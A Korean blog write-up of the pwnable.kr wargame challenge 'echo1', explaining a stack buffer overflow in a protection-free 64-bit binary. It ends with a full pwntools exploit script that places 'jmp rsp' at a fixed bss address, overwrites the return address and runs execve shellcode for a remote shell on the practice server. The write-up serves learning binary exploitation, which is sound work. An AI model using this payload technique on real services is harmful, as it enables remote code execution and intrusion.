System&Write up/Pwnable.kr

[pwnable.kr] Rookiss - echo1

Jubil 2018. 4. 1. 23:51
반응형

[pwnable.kr] Rookiss – echo1

 



 

 

 

 


 

64bit 바이너리이고, 보호기법들이 모두 꺼져있는 걸 볼 수 있습니다.

 


 

실행을 하면 이름을 입력 받고, 메뉴를 출력합니다.

1BOF echo만 사용할 수 있습니다.

 


 

1menuecho1 함수입니다.

 

sbp-0x20인데, 128byte나 입력 받기 때문에 BOF 취약점이 발생합니다.

canary가 없어서 바로 return address를 덮을 수 있습니다.

 

NX가 안 걸려있어서 shell code를 이용할 수 있습니다.

ASLR 때문에 고정된 주소가 필요합니다.

 


 

main의 일부분입니다.

 

이름을 입력 받고 4byteid라는 변수에 들어갑니다.


 

그리고 idbss 영역에 있죠.

 

idjmp rsp를 넣고 return addressid로 하면 return address 뒤로 rip가 이동하게 됩니다.

 


ret 명령을 수행하고 난 후의 모습이고 jmp rsp를 실행하게 되면 RIPshell code를 타고 쉘을 실행하게 됩니다.

 

 

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

from pwn import *

 

#s = process('./echo1')

= remote('pwnable.kr'9010)

 

jmp_rsp = "\xff\xe4"

bss_id = 0x6020a0

shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

 

payload = "A"*0x20

payload += "A"*8    #64bit SFP

payload += p64(bss_id)

payload += shellcode

 

s.sendline(jmp_rsp)    #write jmp_rsp on bss_id

s.sendline('1')        #bof echo

 

s.sendline(payload)

 

s.interactive()

Colored by Color Scripter

cs

 

 


 

flag가 출력됩니다.


반응형